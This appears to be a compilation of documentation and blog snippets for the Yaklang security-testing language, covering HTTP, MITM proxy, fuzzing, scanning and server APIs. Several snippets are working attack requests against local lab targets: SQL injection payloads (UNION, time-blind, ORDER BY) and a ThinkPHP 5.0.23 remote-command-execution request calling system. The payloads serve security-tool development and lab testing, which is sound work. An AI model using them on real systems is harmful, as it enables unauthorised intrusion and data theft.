### Example apk installed file content Source: https://yaklang.io/blog/yaklang-sca-standard-library A sample of the installed package database file used by Alpine Linux systems. ```text C:Q1i+1SpSpyplqn9ztFds6RP7eIv8U=P:curlV:8.1.2-r0A:x86_64S:139967I:241664T:URL retrival utility and libraryU:https://curl.se/L:curlo:curlm:Natanael Copa t:1685465048c:e8990bc463779592e3fb62eae7aacc48ed8abb3fD:libcurl=8.1.2-r0 so:libc.musl-x86_64.so.1 so:libcurl.so.4 so:libz.so.1p:cmd:curl=8.1.2-r0F:usrF:usr/binR:curla:0:0:755Z:Q1L2dyojkjpAQ7JazurYSkGNQZFTk= ``` -------------------------------- ### Target Environment Setup Source: https://yaklang.io/blog/ghost-bits-waf-bypass-with-codec-and-fuzz Example command and target details for the CVE-2025-41242 vulnerable environment. ```bash docker-compose 启动后，目标地址：http://127.0.0.1:8080漏洞点：Spring 的 StringUtils.uriDecode() 在特定路径下会丢弃 Unicode 高 8 位 ``` -------------------------------- ### Start and enable OpenLDAP service Source: https://yaklang.io/blog/build-a-log4j-detection-tool Start the slapd service and enable it to run on boot. ```bash systemctl start slapd systemctl enable slapd ``` -------------------------------- ### TCP MITM Usage Example Source: https://yaklang.io/docs/api/tcpmitm Demonstrates starting a TCP MITM instance with custom dialer, buffer settings, and frame hijacking logic. ```yak // 真实功能示例：劫持每个连接的数据帧，转发到真实服务端，同时按方向统计流量（需要连接来源，示意性用法） connChan = make(chan any, 16) mitm = tcpmitm.Start(connChan, tcpmitm.dialer(func(addr) { return tcp.Connect("127.0.0.1", 3306)~ }), // 自定义到真实服务端的拨号 tcpmitm.protocolAwareSplit(true), // 按协议感知切分数据帧 tcpmitm.maxBufferSize(16 * 1024), // 单帧缓冲上限 16KB tcpmitm.hijackTCPFrame(func(flow, frame) { println(flow.String(), "frame bytes:", len(frame.GetRawBytes())) frame.Forward() // 放行；也可 frame.Drop() 丢弃，或 frame.SetRawBytes(newBytes) 改写 }), )~ go mitm.Run() // 后续把劫持到的连接写入 connChan 即可被中间人处理 ``` -------------------------------- ### Install a tool Source: https://yaklang.io/docs/api/toolbox Downloads and installs a specified third-party binary tool. ```yak // 示意性示例，需要网络下载第三方工具 err = toolbox.Install("ffmpeg") if err != nil { die(err) } ``` -------------------------------- ### Set installation context Source: https://yaklang.io/docs/api/toolbox Configures a context for installation to manage timeouts or cancellations. ```yak // 示意性示例，需要网络下载第三方工具 ctx, cancel = context.WithTimeout(context.Background(), 60 * time.Second) defer cancel() err = toolbox.Install("ffmpeg", toolbox.context(ctx)) ``` -------------------------------- ### Set installation progress callback Source: https://yaklang.io/docs/api/toolbox Registers a callback function to monitor the installation progress. ```yak // 示意性示例，需要网络下载第三方工具 err = toolbox.Install("ffmpeg", toolbox.progress(func(p) { println(p) })) ``` -------------------------------- ### Launch MITM Proxy with Start Source: https://yaklang.io/docs/api/mitm Starts a standard MITM proxy server on a specified port with optional configuration functions. ```yak mitm.Start(8080, mitm.host("127.0.0.1"), mitm.callback(func(isHttps, urlStr, req, rsp) { http.dump(req); http.dump(rsp) })) // 启动一个中间人代理服务器，并将请求和响应打印到标准输出 ``` -------------------------------- ### GenerateVisibleOneStream Usage Examples Source: https://yaklang.io/docs/api/regen Examples showing how to generate visible characters or a phone number. ```go regen.GenerateVisibleOneStream("[a-z]") // a-z 中随机一个字母 regen.GenerateVisibleOneStream(`^(13[0-9]|14[57]|15[0-9]|18[0-9])\d{8}$`) // 生成一个手机号 ``` -------------------------------- ### Advanced Request Example Source: https://yaklang.io/blog/write-a-standard-yaklang-poc-in-15-minutes Example of using poc.HTTPEx with multiple configuration options. ```yak rsp, req = poc.HTTPEx( `POST /post HTTP/1.1 Content-Type: application/json Host: pie.dev`, poc.https(true), poc.timeout(15), poc.proxy("http://127.0.0.1:1080"), poc.appendHeader("AAA", "BBB"), poc.appendQueryParam("a", "b"), poc.appendPostParam("c", "d"), )~ ``` -------------------------------- ### Setup ThinkPHP Vulnerable Environment Source: https://yaklang.io/docs/buildinlibs/lib_nuclei Commands to clone the Vulhub repository and start a vulnerable ThinkPHP 5.0.23 container using Docker Compose. ```bash git clone https://github.com/vulhub/vulhub --depth 1 cd vulhub/thinkphp/5.0.23-rce docker-compose up -d ``` -------------------------------- ### Install OpenLDAP packages Source: https://yaklang.io/blog/build-a-log4j-detection-tool Install the necessary OpenLDAP server and client packages via yum. ```bash yum install -y openldap openldap-clients openldap-servers ``` -------------------------------- ### Discover GET Parameters Source: https://yaklang.io/docs/security/cap8-1-http Example of using GetGetQueryParams to automatically identify GET parameters in a request. ```yak // 特性: 自动发现 GET 参数 // 关键词: fuzz.HTTPRequest, GetGetQueryParams raw = `POST /?get1=1&get2=2 HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Cookie: cookie1 = 1;cookie2 = 2 post1=1&post2=2` params = fuzz.HTTPRequest(raw, fuzz.https(true))~.GetGetQueryParams() // 收集参数名(顺序不保证, 排序后断言) names = [] for param in params { names = append(names, param.Name()) } names.Sort() assert len(params) == 2, "should discover 2 GET params" println(str.Join(names, ",")) // OUT: get1,get2 ``` -------------------------------- ### Initialize and Configure FileMonitor Source: https://yaklang.io/docs/api/filemonitor Demonstrates creating a new monitor instance with specific watch paths and recursive settings, followed by verifying the configuration. ```yak m = filemonitor.NewMonitor({"watch_paths": [os.TempDir()], "recursive": true})~ cfg = m.GetConfig() println(len(cfg.WatchPaths)) // OUT: 1 assert len(cfg.WatchPaths) == 1, "monitor should watch exactly one path" assert cfg.Recursive == true, "recursive option should be enabled" ``` -------------------------------- ### Identify JSON in GET Parameters Source: https://yaklang.io/docs/security/cap8-1-http Example of a request containing JSON data within a GET parameter. ```http GET /?a={"abc":"test"} HTTP/1.1 Host: www.example.com abc=1 ``` -------------------------------- ### Serve Source: https://yaklang.io/docs/api/httpserver Starts a general HTTP server with optional configuration functions. ```APIDOC ## Serve ### Description Starts an HTTP server on the specified host and port, supporting optional configuration functions for handlers and context. ### Signature `Serve(host string, port int, opts ...HttpServerConfigOpt) error` ### Parameters - **host** (string) - Required - Listening host - **port** (int) - Required - Listening port - **opts** (...HttpServerConfigOpt) - Optional - Configuration options (e.g., handler, routeHandler, context) ### Example ``` err = httpserver.Serve("127.0.0.1", 8888, httpserver.handler(func(rspWriter, req) { rspWriter.Write("Hello world") })) ``` ``` -------------------------------- ### Start crawler with configuration options Source: https://yaklang.io/docs/buildinlibs/lib_crawler Demonstrates how to pass configuration options like maxRequest and connectTimeout to the crawler. ```yak ch, err := crawler.Start( "https://www.leavesongs.com", crawler.maxRequest(20), # 设置参数：最多获取 20 个连接 crawler.connectTimeout(3), # 设置参数：每个请求超时时间为 3 秒 ) // 如果启动爬虫失败，则推出程序，抛出错误 die(err) for result := range ch { println(result.Url()) } ``` -------------------------------- ### Initial Server Implementation Source: https://yaklang.io/blog/irify-incremental-compilation-part5 The base server setup defining safe and unsafe handlers for testing incremental compilation. ```go package main import ( "fmt" "net/http" ) func main() { http.HandleFunc("/unsafe", unsafeHandler) http.HandleFunc("/safe", safeHandler) fmt.Println("Server starting on :8080...") if err := http.ListenAndServe(":8080", nil); err != nil { fmt.Printf("Server error: %v\n", err) } } ``` -------------------------------- ### Set HTTP Request Body Source: https://yaklang.io/docs/buildinlibs/lib_http Example of using the http.body option within a GET request. ```yak http.Get("http://example.com", http.body("your body... here")) ``` -------------------------------- ### Create and Manage Files with file.OpenFile Source: https://yaklang.io/docs/buildinlibs/lib_file Demonstrates creating a file with specific permissions and performing basic write and cleanup operations. ```yak // 创建简单的文件 f, err := file.OpenFile("_testFile.txt", file.O_CREATE|file.O_RDWR, 0777) die(err) f.Write("we write some Message \n\n\n\n\nasdfahsdfasdf Now\n") f.Close() // 像 cat 一样，把文件打印出来到屏幕上 file.Cat("_testFile.txt") // 移除文件 file.Rm("_testFile.txt") ``` -------------------------------- ### Quick Start Nuclei Scan Source: https://yaklang.io/docs/buildinlibs/lib_nuclei A minimal example to trigger a vulnerability scan against a target domain. ```yak nuclei.Scan("example.com") ``` -------------------------------- ### Executing Commands with SystemBatch Source: https://yaklang.io/docs/api/exec Example demonstrating how to use SystemBatch with concurrency, timeout, and callback configurations to process multiple commands. ```yak results = make([]string, 0) lock = sync.NewMutex() exec.SystemBatch("echo batch{{int(1-3)}}", exec.timeout(10), exec.concurrent(5), exec.callback(func(cmd, result) { lock.Lock(); results = append(results, string(result)); lock.Unlock() }), ) println(len(results)) // OUT: 3 assert len(results) == 3, "SystemBatch should run the three expanded commands" ``` -------------------------------- ### Start a General HTTP Server Source: https://yaklang.io/docs/api/httpserver Starts an HTTP server with optional configuration functions like handlers or route definitions. ```yak err = httpserver.Serve("127.0.0.1", 8888, httpserver.handler(func(rspWriter, req) { rspWriter.Write("Hello world") })) ``` -------------------------------- ### Get Branch Commit Range Source: https://yaklang.io/docs/api/git Retrieves the start and end commit hashes for a specified branch. ```yak // 获取某分支的起止 commit（示意性示例，需替换为真实仓库路径） start, end, err = git.HeadBranchRange("/path/to/repo", "refs/heads/main") if err != nil { die(err) } println(start, end) ``` -------------------------------- ### Start a Local File System HTTP Server Source: https://yaklang.io/docs/api/httpserver Starts a static file server on the specified host and port, mapping a local directory to a URL prefix. ```yak err = httpserver.LocalFileSystemServe("127.0.0.1", 8888, "/static", "/var/www/static") ``` -------------------------------- ### Initialize a map for operations Source: https://yaklang.io/docs/yak-basic/cap3-stats-vars-and-exprs A basic map setup used for subsequent dictionary operation examples. ```yak a = {"a": 234, "b": "sasdfasdf", "ccc": "13"} ``` -------------------------------- ### Quick Start: Local Compilation and Matching Source: https://yaklang.io/docs/api/rehs Demonstrates compiling multiple regex patterns into a group, performing existence checks, finding all matches, and inspecting backend information. ```yak // 把多条正则统一编译为一个 Group group = rehs.BuildGroup(["admin", "(?i)password", "token=\\w+"])~ // 存在性判定：命中即停，最快 assert group.Match("see admin here"), "should match admin" // 取全部命中：含正则、偏移与命中文本 for m in group.Find("admin token=abc123") { println(m.Pattern, m.From, m.To, m.Value) } // 枚举命中的正则集合 pats = group.MatchedPatterns("admin password token=zzz") assert len(pats) == 3, "should match all three" // 查看后端信息 info = group.Info() log.info("backend=%v tier=%v simd=%v patterns=%v", info.Backend, info.Tier, info.SIMD, info.NumPatterns) group.Close() ``` -------------------------------- ### HTTP Request for Multi-condition Injection Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques Example of an HTTP GET request exploiting the multi-condition ORDER BY vulnerability. ```http GET /user/order3?order=DESC%2C(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E0%20THEN%20age%20ELSE%20-age%20END) HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Cache-Control: max-age=0 ``` -------------------------------- ### Define RCE Payload Source: https://yaklang.io/blog/thinkphp-rce-passive-scan-plugin Example of a GET request payload for ThinkPHP RCE using fuzz tags. ```http GET /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={{url({{params(cmd)}})}} HTTP/1.1 Host: {{params(target)}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: deflate Accept-Language: zh-CN,zh;q=0.9 Cache-Control: max-age=0 Connection: close Content-Length: 0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 ``` -------------------------------- ### Get Process Tree Source: https://yaklang.io/docs/api/hids Retrieves the process tree starting from a specific PID or the system init process. ```yak // 获取指定进程的进程树 tree, err = hids.GetProcessTree(1234) // 获取整个系统的进程树 tree, err = hids.GetProcessTree(1) ``` -------------------------------- ### httpserver.Serve Source: https://yaklang.io/docs/buildinlibs/lib_http Starts a simple HTTP server. ```APIDOC ## fn httpserver.Serve(host: string, port: int, vars: ...yaklib._httpServerConfigOpt): error ### Description Starts an HTTP server on the specified host and port. Supports configuration options for context, handlers, and HTTPS certificates. ``` -------------------------------- ### Define a standard Golang HTTP handler Source: https://yaklang.io/blog/writing-syntaxflow-rules-for-golang A basic example of a Golang HTTP server setup with a handler function. ```go func handler(w http.ResponseWriter, r *http.Request) { ...... } func main() { http.HandleFunc("/", handler) http.ListenAndServe(":8080", nil) } ``` -------------------------------- ### NewVMFromDeviceWithContext Source: https://yaklang.io/docs/api/netstack Initializes a network stack virtual machine with a context for lifecycle management. ```APIDOC ## NewVMFromDeviceWithContext(ctx context.Context, device lowtun.Device) ### Description Creates a network stack virtual machine using a provided context to control the VM lifecycle. ### Parameters - **ctx** (context.Context) - Context for lifecycle control - **device** (lowtun.Device) - The TUN device to use ### Returns - **r1** (*NetstackVM) - Network stack VM object - **r2** (error) - Error information if initialization fails ``` -------------------------------- ### Start gRPC Server Source: https://yaklang.io/blog/remote-mode-hijacking-scanning-and-pentest 在服务器上启动带 TLS 和密码认证的 gRPC 服务，供远程客户端连接。 ```bash yak grpc --host 0.0.0.0 --tls --secret [your-gre4t-passw0rd] ``` -------------------------------- ### HTTP Request for Backtick ORDER BY Injection Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques An example GET request targeting the /user/limit/4/orderby1 endpoint with a malicious orderby parameter. ```http GET /user/limit/4/orderby1?orderby=id%60%20DESC%2C%20(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END)%20DESC%2C%20%60id HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Cache-Control: max-age=0 ``` -------------------------------- ### Path-based SQL Injection Request Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques Example of an HTTP GET request exploiting a SQL injection vulnerability in a URL path parameter. ```http GET /user/path/admin'%20UNION%20SELECT%20id,%27extracted%27,age,role,username,created_at,updated_at,password,remake%20FROM%20vulin_users-- HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 ``` -------------------------------- ### Open and Create Local Files Source: https://yaklang.io/docs/yakexamples/yak_misc Demonstrates how to retrieve a filename from CLI arguments or generate a random one, then open it for writing. ```yak // 从命令行获取文件名，如果用户没有输入，我们自定义一个随机文件名 domainFileName = cli.String("domain-result", cli.setDefault(sprintf("yakmisc-domain-result-%v.txt", randstr(15)))) // 打开/创建这个随机的文件名 domainResult, err = file.Open(domainFileName) // 如果打开文件失败，则推出脚本 die(err) // 把 domainResult 文件及时关闭 defer domainResult.Close() ``` -------------------------------- ### Time-based Blind SQL Injection Request Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques Example of a GET request exploiting a numeric SQL injection vulnerability in the id parameter. ```http GET /user/id-time-blind?id=1%20AND%20(SELECT%20CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20sleep(5)%20ELSE%201%20END) HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Cache-Control: max-age=0 ``` -------------------------------- ### 配置并发与探测超时 Source: https://yaklang.io/docs/api/servicescan 通过 ConfigOption 调整扫描并发数与单个探测包的超时时间。 ```go // 目标端口较多时调大并发，并设置单个探测包超时 ch, err = servicescan.Scan("192.168.1.1/24", "1-1000", servicescan.concurrent(50), // 50 个并发 servicescan.probeTimeout(5), // 单个探测包 5 秒超时 ) die(err) for result := range ch { if result.IsOpen() { println(result.String()) } } ``` -------------------------------- ### HTTP Request for Full Field Injection Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques Example of an HTTP GET request exploiting the full field control ORDER BY vulnerability. ```http GET /user/limit/4/orderby?orderby=(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END) HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Cache-Control: max-age=0 ``` -------------------------------- ### yakit.AutoInitYakit Source: https://yaklang.io/products/chapter-5/5-3 Initializes the communication channel between the plugin backend and the Yakit frontend. This must be called at the start of any native plugin that uses UI features. ```APIDOC ## yakit.AutoInitYakit() ### Description Establishes the communication pipeline between the plugin and the Yakit UI. Required before calling any other UI-related functions. ### Signature `yakit.AutoInitYakit()` ``` -------------------------------- ### Example serialized JSON output Source: https://yaklang.io/products/chapter-5/5-3 The resulting data structure produced by the cli.Json form after user input is serialized. ```json { "header": [ {"key": "myHeader", "value": "value1"}, {"key": "Another-Header", "value": "some-value"} ] } ``` -------------------------------- ### pprof.StartCPUProfile Source: https://yaklang.io/docs/api/pprof Starts CPU sampling and writes the results to a profile file, blocking until the sampling duration is complete. ```APIDOC ## pprof.StartCPUProfile ### Description Starts CPU sampling and writes the results to a profile file. The call blocks until the sampling duration (controlled by pprof.timeout or pprof.ctx, default 15 seconds) is complete. ### Signature `StartCPUProfile(opts ...Option) error` ### Parameters - **opts** (...Option) - Optional - A list of configuration options. ### Returns - **r1** (error) - Error information. ``` -------------------------------- ### Vulnerable JSON GET Parameter Example Source: https://yaklang.io/Yaklab/vulinbox/SQLi/03unsafe-id-json Shows the structure of a URL using a JSON object as a parameter and the resulting SQL query. ```text /*URL地址*/ http://127.0.0.1:8787/user/id-json?id={"uid":1,"id":"1"} /*原SQL语句*/ select * from vulin_users where id = 1; ``` -------------------------------- ### LIMIT Clause SQL Injection Request Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques Example of an HTTP GET request exploiting a SQL injection vulnerability within a LIMIT parameter. ```http GET /user/limit/int?limit=(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role='admin') HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Cache-Control: max-age=0 ``` -------------------------------- ### Create and use a DNSLog client Source: https://yaklang.io/docs/api/dnslog Use NewCustomDNSLog to initialize a client, obtain a domain/token, and check for DNS resolution events. ```yak // 该示例为示意性用法：依赖外部 DNSLog 平台/反连服务 client = dnslog.NewCustomDNSLog(dnslog.random()) domain, token = client.GetSubDomainAndToken()~ println("dnslog domain:", domain) // 触发对 domain 的 DNS 请求后查询回连事件 events = client.CheckDNSLogByToken()~ ``` -------------------------------- ### Installation Options Source: https://yaklang.io/docs/api/toolbox Configuration functions used to customize the behavior of toolbox.Install. ```APIDOC ## Installation Options ### toolbox.context(ctx context.Context) Sets the installation context for controlling cancellation and timeouts. ### toolbox.force(force bool) Sets whether to force re-installation even if the tool is already installed. ### toolbox.progress(progress ProgressCallback) Sets a callback function to track installation progress. ### toolbox.proxy(proxy string) Sets the download proxy address (e.g., "http://127.0.0.1:7890"). ``` -------------------------------- ### Example dpkg status file content Source: https://yaklang.io/blog/yaklang-sca-standard-library A sample of the text-based status file used by Debian-based systems to store installed package information. ```text Package: curlStatus: install ok installedPriority: optionalSection: webInstalled-Size: 443Maintainer: Ubuntu Developers Architecture: amd64Multi-Arch: foreignVersion: 7.81.0-1ubuntu1.10Depends: libc6 (>= 2.34), libcurl4 (= 7.81.0-1ubuntu1.10), zlib1g (>= 1:1.1.4)Description: command line tool for transferring data with URL syntax curl is a command line tool for transferring data with URL syntax, supporting DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, TELNET and TFTP. . curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, kerberos...), file transfer resume, proxy tunneling and a busload of other useful tricks.Homepage: https://curl.haxx.seOriginal-Maintainer: Alessandro Ghedini ``` -------------------------------- ### Create and Configure a Report Source: https://yaklang.io/docs/api/report Initializes a new report object and demonstrates adding content and verifying the internal state. ```yak r = report.New() r.Title("Scan Report") r.Markdown("# hello report") println(r.TitleValue) // OUT: Scan Report assert len(r.Items) == 1, "report should contain one markdown item" ``` -------------------------------- ### Create a Facade Server Instance Source: https://yaklang.io/docs/api/facades Initializes a new facade server object that supports multiple protocols. This method returns a server instance for further configuration. ```yak // 该示例为示意性用法：创建 facade 服务对象 server = facades.NewFacadeServer("0.0.0.0", 1389, facades.javaClassName("EvilObject")) println(server != nil) ``` -------------------------------- ### Create and use a Buffer Source: https://yaklang.io/docs/api/bufio Demonstrates initializing a new buffer and writing content to it. ```yak buffer = bufio.NewBuffer() buffer.WriteString("hello yak") println(buffer.String()) // OUT: hello yak assert buffer.String() == "hello yak", "NewBuffer should hold written content" ``` -------------------------------- ### HTTP Request for Comment-based ORDER BY Injection Source: https://yaklang.io/blog/vulinbox-sql-injection-techniques An example GET request targeting the /user/limit/4/orderby2 endpoint, utilizing SQL comments to bypass fixed query suffixes. ```http GET /user/limit/4/orderby2?orderby=id%60%20DESC%2C%20(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20vulin_users%20WHERE%20role%3D'admin')%3E1%20THEN%20id%20ELSE%20-id%20END)%20DESC%20--%20 HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Cache-Control: max-age=0 ``` -------------------------------- ### toolbox.Install Source: https://yaklang.io/docs/api/toolbox Installs a specified third-party binary tool from a remote source. ```APIDOC ## toolbox.Install(name string, options ...InstallOptionFunc) ### Description Downloads and installs a specified third-party tool (e.g., ffmpeg, whisper) to the local environment. ### Parameters - **name** (string) - Required. The name of the tool to install. - **options** (...InstallOptionFunc) - Optional. Configuration options such as proxy, force, context, or progress callback. ### Returns - **err** (error) - Error information if the installation fails. ### Example ``` err = toolbox.Install("ffmpeg") if err != nil { die(err) } ``` -------------------------------- ### Example of Base64 Encoded JSON Query Source: https://yaklang.io/Yaklab/vulinbox/SQLi/04unsafe-id-b64-json Demonstrates a standard GET request where the 'id' parameter is a Base64 encoded JSON object, resulting in a direct SQL query. ```http http://127.0.0.1:8787/user/id-b64-json?id=eyJ1aWQiOjEsImlkIjoiMSJ9 (解码为{"uid":1,"id":"1"}) /*后端的查询如下*/ select * from vulin_users where id = 1; ``` -------------------------------- ### 实现文件系统钩子进行宏预处理 Source: https://yaklang.io/blog/writing-c-static-analysis-rules 使用文件系统钩子拦截 .c 和 .h 文件读取，并在读取后执行宏预处理逻辑。 ```go funcnewCPreprocessFS(underlying fi.FileSystem) fi.FileSystem { // 1. 设置头文件环境 if err := setupHeaderFiles(underlying); err != nil { log.Warnf("setupHeaderFiles failed: %v", err) return underlying } // 2. 创建钩子文件系统 hookFS := filesys.NewHookFS(underlying) // 3. 注册读取钩子 hookFS.AddReadHook(&filesys.ReadHook{ Matcher: filesys.SuffixMatcher(".c", ".h"), AfterRead: func(ctx *filesys.ReadHookContext, data []byte) ([]byte, error) { // 宏预处理逻辑 }, }) return hookFS } ``` -------------------------------- ### 发起 GET 请求 Source: https://yaklang.io/docs/api/http 使用 Get 函数发起 GET 请求，支持传入多个 HttpOption 配置选项。 ```yak rsp, err = http.Get("http://www.yaklang.com", http.timeout(10)) ``` -------------------------------- ### Form-urlencoded Data Example Source: https://yaklang.io/docs/security/cap8-1-http Example of a standard form-urlencoded POST body. ```text username=abc&password=123456 ``` -------------------------------- ### Get Source: https://yaklang.io/docs/api/http Initiates a GET request to the specified URL with optional configuration parameters. ```APIDOC ## Get ### Description Initiates a GET request to the specified URL. Note: This function is deprecated; use poc.Get instead. ### Parameters - **url** (string) - Required - The target URL. - **options** (...http_struct.HttpOption) - Optional - Variable arguments for request configuration. ### Response - **r1** (*http_struct.YakHttpResponse) - The response structure reference. - **r2** (error) - Error information, non-empty if the request fails. ``` -------------------------------- ### gRPC Server Startup Logs Source: https://yaklang.io/blog/remote-mode-hijacking-scanning-and-pentest 启动 gRPC 服务后的控制台输出示例，包含证书信息和监听状态。 ```text [INFO] 2022-07-28 09:31:04 +0800 [default:log.go:178] start to create grpc schema... [INFO] 2022-07-28 09:31:04 +0800 [default:log.go:178] load gorm database connection [INFO] 2022-07-28 09:31:04 +0800 [default:log.go:178] database dir[/root/yakit-projects] mode: drwxr-xr-x [INFO] 2022-07-28 09:31:04 +0800 [default:log.go:178] start to listen on: 0.0.0.0:8087 [WARN] 2022-07-28 09:31:04 +0800 [default:log.go:168] open ca-cert failed: open build/yakit-grpc-cert.pem: no such file or directory [WARN] 2022-07-28 09:31:04 +0800 [default:log.go:168] open ca-key failed: open build/yakit-grpc-key.pem: no such file or directory [INFO] 2022-07-28 09:31:04 +0800 [default:log.go:178] serve reverse(facade) server... [INFO] 2022-07-28 09:31:05 +0800 [default:log.go:178] use current Root CA to login (For Yakit) -----BEGIN CERTIFICATE----- MIIDDjCCAfagAwIBAgIQcoEeBasnXCB46OPDLIgOxzANBgkqhkiG9w0BAQsFADAg MR4wHAYDVQQDExVZYWtpdCBUZWFtU2VydmVyIFJvb3QwIBcNOTkxMjMxMTYwMDAw WhgPMjEyMTA3MDQwMTMxMDVaMCAxHjAcBgNVBAMTFVlha2l0IFRlYW1TZXJ2ZXIg J+jfSX3Qtnf...............................gsdewfakueZIBdZKK5prYQ GFXdd6RK5tGNgaZr3RyiZ1mF9hZ0kpQzQewNw5sLZ4XHU4V9xH0LjUJAdZYLFwjO 9RBWUjNymnwgrsmzKKAsxBcnNMWG3ZwZsPJrpjMawd7Zl5KGK9HrmxSwrh5IdbAI SrG75FlBk70lPIpSnQ6VYteA -----END CERTIFICATE----- [INFO] 2022-07-28 09:31:05 +0800 [default:log.go:178] start to startup grpc server... ``` -------------------------------- ### List installed tools Source: https://yaklang.io/docs/api/toolbox Retrieves the installation status of all registered third-party tools. ```yak statusList, err = toolbox.List() assert err == nil, "toolbox.List should not fail" for s in statusList { println(s.Name) } ``` -------------------------------- ### mitm.Start Source: https://yaklang.io/docs/api/mitm Starts a MITM proxy server on the specified port with optional configuration functions. ```APIDOC ## mitm.Start(port int, opts ...MitmConfigOpt) error ### Description Starts a MITM (Man-in-the-Middle) proxy server. It accepts zero or more configuration options to modify its behavior. ### Parameters - **port** (int) - Required - The port to listen on. - **opts** (...MitmConfigOpt) - Optional - Configuration options (e.g., callback, context, gmtls settings). ### Returns - **error** - Returns an error if the server fails to start. ``` -------------------------------- ### 自动识别 Get 参数进行模糊测试 Source: https://yaklang.io/docs/yakexamples/fuzz-request 使用 GetGetQueryParams 自动获取所有 GET 参数对象，并直接调用 Fuzz 方法进行测试。 ```yak raw = `GET /target-path?abc=123 HTTP/1.1 Host: www.example.com User-Agent: Ur-Awesome-UA/1.0001 ` freq = fuzz.HTTPRequest(raw, fuzz.https(true))~ for param in freq.GetGetQueryParams() { token = str.RandStr(10) param.Fuzz(token).Show() } /* OUTPUT: GET /target-path?abc=jvNKFnbtRo HTTP/1.1 Host: www.example.com User-Agent: Ur-Awesome-UA/1.0001 */ ``` -------------------------------- ### Create Root Context with New Source: https://yaklang.io/docs/api/context Alias for context.Background to initialize an empty root context. ```yak // VARS: 创建根上下文 ctx = context.New() // assert: 根上下文没有错误 assert ctx.Err() == nil, "background context should have no error" ``` -------------------------------- ### 获取并描述 GET 参数 Source: https://yaklang.io/docs/yakexamples/fuzz_for_more 构建一个 HTTP 请求并遍历其 GET 参数，使用 desc 函数查看参数结构。 ```go req, err := fuzz.HTTPRequest(`GET /?test=1 HTTP/1.1 Host: 127.0.0.1`) die(err) for _, param := range req.GetGetQueryParams() { desc(param) } ``` -------------------------------- ### Create Mock HTTP Server Source: https://yaklang.io/docs/api/tcp Starts a local HTTP server that returns a fixed response for testing purposes. ```yak // 启动一个固定响应的本地 HTTP 服务用于测试，此处仅作示意 host, port = tcp.MockServe([]byte("HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nhi")) rsp = poc.Get(f"http://${host}:${port}/", poc.timeout(5))~ println(string(rsp.RawPacket)) ``` -------------------------------- ### Initialize and Populate WebsiteForest Source: https://yaklang.io/docs/api/webforest Creates a new website forest with a specified node capacity and demonstrates adding URLs and verifying the count. ```yak forest = webforest.New(100) forest.AddNode("https://example.com/a")~ forest.AddNode("https://example.com/b/c")~ println(forest.CountUrls()) // OUT: 2 assert forest.CountUrls() == 2, "forest should count the two added urls" ``` -------------------------------- ### Get Source: https://yaklang.io/docs/api/poc Sends a GET request to the specified URL and returns the response and request structures. ```APIDOC ## Get ### Description Sends a GET request to the target URL and returns the response structure, request structure, and any error encountered. ### Parameters - **urlStr** (string) - Required - Target URL. - 